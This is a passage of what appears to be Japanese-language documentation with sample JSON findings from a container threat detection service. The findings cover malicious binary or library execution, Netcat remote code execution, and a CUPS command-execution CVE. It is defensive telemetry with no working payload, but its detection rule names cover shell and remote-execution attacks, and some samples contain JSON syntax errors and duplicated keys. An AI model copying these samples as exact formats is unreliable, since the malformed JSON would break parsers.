    "Container_Image_Uri": "CONTAINER_IMAGE_URI",
    "Container_Image_Id": "CONTAINER_IMAGE_ID",
    "Parent_Pid": 1,
    "Container_Name": "CONTAINER_NAME",
    "Pid": 7,
    "Process_Creation_Timestamp": {
      "seconds": 1718650213,
      "nanos": 762524370
    },
    "Environment_Variables": [
    ],
    "Pod_Namespace": "default"
  }
}

  

実行: 変更された悪意のあるバイナリの実行

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID"
    "category": "Execution: Modified Malicious Binary Executed",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_URI",
        "imageId": "CONTAINER_IMAGE_ID"
      }
    ],
    "createTime": "2023-11-13T21:38:51.893Z",
    "database": {},
    "eventTime": "2023-11-13T21:38:51.525Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "default",
          "containers": [
                {
                  "name": "CONTAINER_NAME",
                  "uri": "CONTAINER_URI",
                  "imageId": CONTAINER_IMAGE_ID"
                }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE"
        }
      ]
    },
    "mitreAttack": {
      "primaryTactic": "EXECUTION",
      "primaryTechniques": [
        "NATIVE_API"
      ]
    },
    "mute": "UNDEFINED",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "\"/malicious_files/file_to_be_modified\"",
          "size": "68",
          "sha256": "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f",
          "hashedSize": "68",
          "partiallyHashed": false
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false
        },
        "args": [
          "\"/malicious_files/file_to_be_modified\"",
          "\"modified-malicious-binary-da2a7b72e6008bc3\""
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://10.77.124.129:443\""
          },
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-modified-malicious-binary\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/root\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"10.77.124.129\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"DEBIAN_FRONTEND\"",
            "val": "\"noninteractive\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://10.77.124.129:443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"10.77.124.129\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/malicious_files\""
          }
        ],
        "pid": "8",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "CRITICAL",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",
    "display_name": "CLUSTER_ID",
    "project_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "project_display_name": "PROJECT_ID",
    "parent_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "parent_display_name": "PROJECT_ID",
    "type": "google.container.Cluster",
    "folders": []
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "modified_malicious_binary_executed"
    },
    "detectionPriority": "CRITICAL",
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1699905066",
            "nanos": 618571329
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/techniques/T1106/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal IP Link",
          "url": "https://www.virustotal.com/gui/file/275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f/detection"
        }
      ],
      "cloudLoggingQueryUri": [
        {
          "displayName": "Cloud Logging Query Link",
          "url": "https://console.cloud.google.com/logs/query;query=timestamp%3D%222023-11-13T21:38:39.084524438Z%22%0AinsertId%3D%22%22?project=PROJECT_NUMBER"
        }
      ],
      "relatedFindingUri": {}
    }
  }
}
  

実行: 変更された悪意のあるライブラリが読み込まれた

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID"
    "category": "Execution: Modified Malicious Library Loaded",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_URI",
        "imageId": "CONTAINER_IMAGE_ID"
      }
    ],
    "createTime": "2023-11-13T21:38:55.271Z",
    "database": {},
    "eventTime": "2023-11-13T21:38:55.133Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "default",
          "containers": [
                {
                  "name": "CONTAINER_NAME",
                  "uri": "CONTAINER_URI",
                  "imageId": CONTAINER_IMAGE_ID"
                }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE"
        }
      ]
    },
    "mitreAttack": {
      "primaryTactic": "EXECUTION",
      "primaryTechniques": [
        "SHARED_MODULES"
      ]
    },
    "mute": "UNDEFINED",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "\"/malicious_files/drop_mal_lib\"",
          "size": "5005064",
          "sha256": "fe2e70de9f77047d3bf5debe3135811300c9c69b937b7fd3e2ca8451a942d5fb",
          "hashedSize": "5005064",
          "partiallyHashed": false
        },
        "libraries": [
          {
            "path": "\"/malicious_files/file_to_be_modified\"",
            "size": "68",
            "sha256": "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f",
            "hashedSize": "68",
            "partiallyHashed": false
          }
        ],
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false
        },
        "args": [
          "\"/malicious_files/drop_mal_lib\"",
          "\"/malicious_files/file_to_be_modified\"",
          "\"/tmp/modified-malicious-library-430bbedd7049b0d1\""
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://10.77.124.129:443\""
          },
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-modified-malicious-library\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/root\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"10.77.124.129\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"DEBIAN_FRONTEND\"",
            "val": "\"noninteractive\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://10.77.124.129:443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"10.77.124.129\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/malicious_files\""
          }
        ],
        "pid": "8",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "CRITICAL",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",
    "display_name": "CLUSTER_ID",
    "project_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "project_display_name": "PROJECT_ID",
    "parent_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "parent_display_name": "PROJECT_ID",
    "type": "google.container.Cluster",
    "folders": []
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "modified_malicious_library_loaded"
    },
    "detectionPriority": "CRITICAL",
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1699911519",
            "nanos": 124151422
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/techniques/T1129/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal IP Link",
          "url": "https://www.virustotal.com/gui/file/275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f/detection"
        }
      ],
      "cloudLoggingQueryUri": [
        {
          "displayName": "Cloud Logging Query Link",
          "url": "https://console.cloud.google.com/logs/query;query=timestamp%3D%222023-11-13T21:38:39.124151422Z%22%0AinsertId%3D%22%22?project=PROJECT_NUMBER"
        }
      ],
      "relatedFindingUri": {}
    }
  }
}
  

実行: コンテナでの Netcat リモートコードの実行

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
    "category": "Execution: Netcat Remote Code Execution in Container",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_IMAGE_URI",
        "imageId": "CONTAINER_IMAGE_ID",
        "createTime": "2024-06-17T18:50:13Z"
      }
    ],
    "createTime": "2025-01-21T19:55:22.017Z",
    "database": {},
    "eventTime": "2025-01-21T19:55:21.762Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "NAMESPACE",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_IMAGE_URI",
              "imageId": "CONTAINER_IMAGE_ID",
              "createTime": "2025-01-21T19:55:19Z"
            }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"
        }
      ]
    },
    "logEntries": [
      {
        "cloudLoggingEntry": {
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": "2025-01-21T19:55:19.654640277Z"
        }
      }
    ],
    "mitreAttack": {},
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "mitreAttack": {
      "primaryTactic": "PRIVILEGE_ESCALATION",
      "primaryTechniques": [
        "ESCAPE_TO_HOST"
      ]
    },
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "muteUpdateTime": "1970-01-01T00:00:00Z",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "INTERPRETER",
          "size": "147176",
          "sha256": "INTERPRETER_SHA_256",
          "hashedSize": "147176",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "args": [
          "INTERPRETER",
          "ARG"
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-netcat-remote-code-execution-ba379a7c2168db11\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/root\""
          },
          {
            "name": "\"GPG_KEY\"",
            "val": "\"7169605F62C751356D054A26A821E680E5FA6305\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"LANG\"",
            "val": "\"C.UTF-8\""
          },
          {
            "name": "\"PYTHON_VERSION\"",
            "val": "\"3.12.6\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/\""
          }
        ],
        "pid": "9",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "LOW",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "displayName": "CLUSTER_ID",
    "type": "google.container.Cluster",
    "cloudProvider": "GOOGLE_CLOUD_PLATFORM",
    "service": "container.googleapis.com",
    "location": "ZONE",
    "gcpMetadata": {
      "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "projectDisplayName": "PROJECT_ID",
      "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "parentDisplayName": "PROJECT_ID",
      "folders": [
        {
          "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",
          "resourceFolderDisplayName": "FOLDER_ID"
        }
      ],
      "organization": "organizations/ORGANIZATION_ID"
    },
    "resourcePath": {
      "nodes": [
        {
          "nodeType": "GCP_PROJECT",
          "id": "projects/PROJECT_ID",
          "displayName": "PROJECT_ID"
        },
        {
          "nodeType": "GCP_FOLDER",
          "id": "folders/FOLDER_NUMBER",
          "displayName": "FOLDER_ID"
        },
        {
          "nodeType": "GCP_ORGANIZATION",
          "id": "organizations/ORGANIZATION_ID"
        }
      ]
    },
    "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "ktd_netcat_remote_code_execution_in_container"
    },
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1729291973",
            "nanos": 687426149
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/techniques/T1059/004/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal File Link",
          "url": "https://www.virustotal.com/gui/file/430cdef8f363efe8b7fe0ce4af583b202b77d89f0ded08e3b77ac6aca0a0b304/detection"
        }
      ],
      "relatedFindingUri": {}
    }
  },
}
    

実行: CUPS を介した任意のコマンド実行の可能性(CVE-2024-47177)

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
    "category": "Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47177)",
    "chokepoint": {},
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_IMAGE_URI",
        "imageId": "CONTAINER_IMAGE_ID",
        "createTime": "2025-07-22T00:07:48Z"
      }
    ],
    "createTime": "2025-07-22T00:07:54.853Z",
    "database": {},
    "dataProtectionKeyGovernance": {},
    "eventTime": "2025-07-22T00:07:54.627Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "NAMESPACE",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_IMAGE_URI",
              "imageId": "CONTAINER_IMAGE_ID",
              "createTime": "2025-01-21T19:55:19Z"
            }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"
        }
      ]
    },
    "logEntries": [
      {
        "cloudLoggingEntry": {
          "resourceContainer": "projects/770715367326",
          "timestamp": "2025-07-22T00:07:48.052030557Z"
        }
      }
    ],
    "mitreAttack": {
      "primaryTactic": "EXECUTION",
      "primaryTechniques": [
        "EXPLOITATION_FOR_CLIENT_EXECUTION"
      ]
    },
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "muteUpdateTime": "1970-01-01T00:00:00Z",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "\"/bin/dash\"",
          "size": "121432",
          "sha256": "2fdc4546e1f425bcaf62624a7118fd4ba86c11e6277e8b9ee63263eb0dcbc6c5",
          "hashedSize": "121432",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "args": [
          "\"sh\"",
          "\"-c\"",
          "\"echo\"",
          "\"hello\""
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"_\"",
            "val": "\"/bin/sh\""
          },
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-cups-2025-07-22-00-07-44-utc\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/root\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"DEBIAN_FRONTEND\"",
            "val": "\"noninteractive\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"SHLVL\"",
            "val": "\"2\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"34.118.224.1\""
          }
        ],
        "pid": "9",
        "parentPid": "8",
        "userId": "0"
      },
      {
        "binary": {
          "path": "\"foomatic-rip\"",
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "argumentsTruncated": false,
        "pid": "0",
        "parentPid": "0",
        "userId": "0"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "CRITICAL",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "displayName": "CLUSTER_ID",
    "type": "google.container.Cluster",
    "cloudProvider": "GOOGLE_CLOUD_PLATFORM",
    "service": "container.googleapis.com",
    "location": "ZONE",
    "gcpMetadata": {
      "project": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "projectDisplayName": "PROJECT_ID",
      "parent": "//cloudresourcemanager.googleapis.com/projects/PROJECT_ID",
      "parentDisplayName": "PROJECT_ID",
      "folders": [
        {
          "resourceFolder": "//cloudresourcemanager.googleapis.com/folders/FOLDER_NUMBER",
          "resourceFolderDisplayName": "FOLDER_ID"
        }
      ],
      "organization": "organizations/ORGANIZATION_ID"
    },
    "resourcePath": {
      "nodes": [
        {
          "nodeType": "GCP_PROJECT",
          "id": "projects/PROJECT_ID",
          "displayName": "PROJECT_ID"
        },
        {
          "nodeType": "GCP_FOLDER",
          "id": "folders/FOLDER_NUMBER",
          "displayName": "FOLDER_ID"
        },
        {
          "nodeType": "GCP_ORGANIZATION",
          "id": "organizations/ORGANIZATION_ID"
        }
      ]
    },
    "resourcePathString": "organizations/ORGANIZATION_ID/projects/PROJECT_ID"
  },
  "sourceProperties": {
    "sourceId": {
      "projectNumber": "PROJECT_NUMBER",
      "customerOrganizationNumber": "ORGANIZATION_NUMBER"
    },
    "detectionCategory": {
      "ruleName": "ktd_possible_arbitrary_command_execution_through_cups"
    },
    "detectionPriority": "CRITICAL",
    "affectedResources": [
      {
        "gcpResourceName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER"
      }
    ],
    "evidence": [
      {
        "sourceLogId": {
          "projectId": "PROJECT_ID",
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": {
            "seconds": "1729291973",
            "nanos": 687426149
          }
        }
      }
    ],
    "properties": {},
    "findingId": "FINDING_ID",
    "contextUris": {
      "mitreUri": {
        "displayName": "MITRE Link",
        "url": "https://attack.mitre.org/tactics/TA0002/"
      },
      "virustotalIndicatorQueryUri": [
        {
          "displayName": "VirusTotal File Link",
          "url": "https://www.virustotal.com/gui/file/2fdc4546e1f425bcaf62624a7118fd4ba86c11e6277e8b9ee63263eb0dcbc6c5/detection"
        }
      ],
      "relatedFindingUri": {}
    }
  }
}
    

実行: リモート コマンド実行の可能性の検出(プレビュー

{
  "finding": {
    "access": {},
    "application": {},
    "attackExposure": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
    "category": "Execution: Possible Remote Command Execution Detected",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_IMAGE_URI",
        "imageId": "CONTAINER_IMAGE_ID",
        "createTime": "2024-06-17T18:50:13Z"
      }
    ],
    "createTime": "2025-01-21T19:55:22.017Z",
    "database": {},
    "eventTime": "2025-01-21T19:55:21.762Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "name": "CONTAINER_NAME",
          "ns": "NAMESPACE",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_IMAGE_URI",
              "imageId": "CONTAINER_IMAGE_ID",
              "createTime": "2025-01-21T19:55:19Z"
            }
          ]
        }
      ],
      "nodes": [
        {
          "name": "//compute.googleapis.com/projects/PROJECT_ID/zones/ZONE/instances/INSTANCE_ID"
        }
      ]
    },
    "logEntries": [
      {
        "cloudLoggingEntry": {
          "resourceContainer": "projects/PROJECT_NUMBER",
          "timestamp": "2025-01-21T19:55:19.654640277Z"
        }
      }
    ],
    "mitreAttack": {
      "primaryTactic": "EXECUTION",
      "primaryTechniques": [
        "COMMAND_AND_SCRIPTING_INTERPRETER"
      ],
      "additionalTactics": [
        "COMMAND_AND_CONTROL"
      ],
      "additionalTechniques": [
        "MULTI_STAGE_CHANNELS"
      ]
    },
    "mute": "UNDEFINED",
    "muteInfo": {
      "staticMute": {
        "state": "UNDEFINED",
        "applyTime": "1970-01-01T00:00:00Z"
      }
    },
    "muteUpdateTime": "1970-01-01T00:00:00Z",
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/locations/global",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "INTERPRETER",
          "size": "147176",
          "sha256": "INTERPRETER_SHA_256",
          "hashedSize": "147176",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false,
          "diskPath": {}
        },
        "args": [
          "INTERPRETER",
          "ARG"
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-remote-cmd-exec-ba379a7c2168db11\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/root\""
          },
          {
            "name": "\"GPG_KEY\"",
            "val": "\"7169605F62C751356D054A26A821E680E5FA6305\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"LANG\"",
            "val": "\"C.UTF-8\""
          },
          {
            "name": "\"PYTHON_VERSION\"",
            "val": "\"3.12.6\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://34.118.224.1:443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"34.118.224.1\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/\""
          }
        ],
        "pid": "9",
        "parentPid": "1"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "securityPosture": {},
    "severity": "MEDIUM",
    "state": "ACTIVE",
    "vulnerability": {},
    "externalSystems": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "displayName": "CLUSTER_ID",
    "type": "google.container.Cluster",
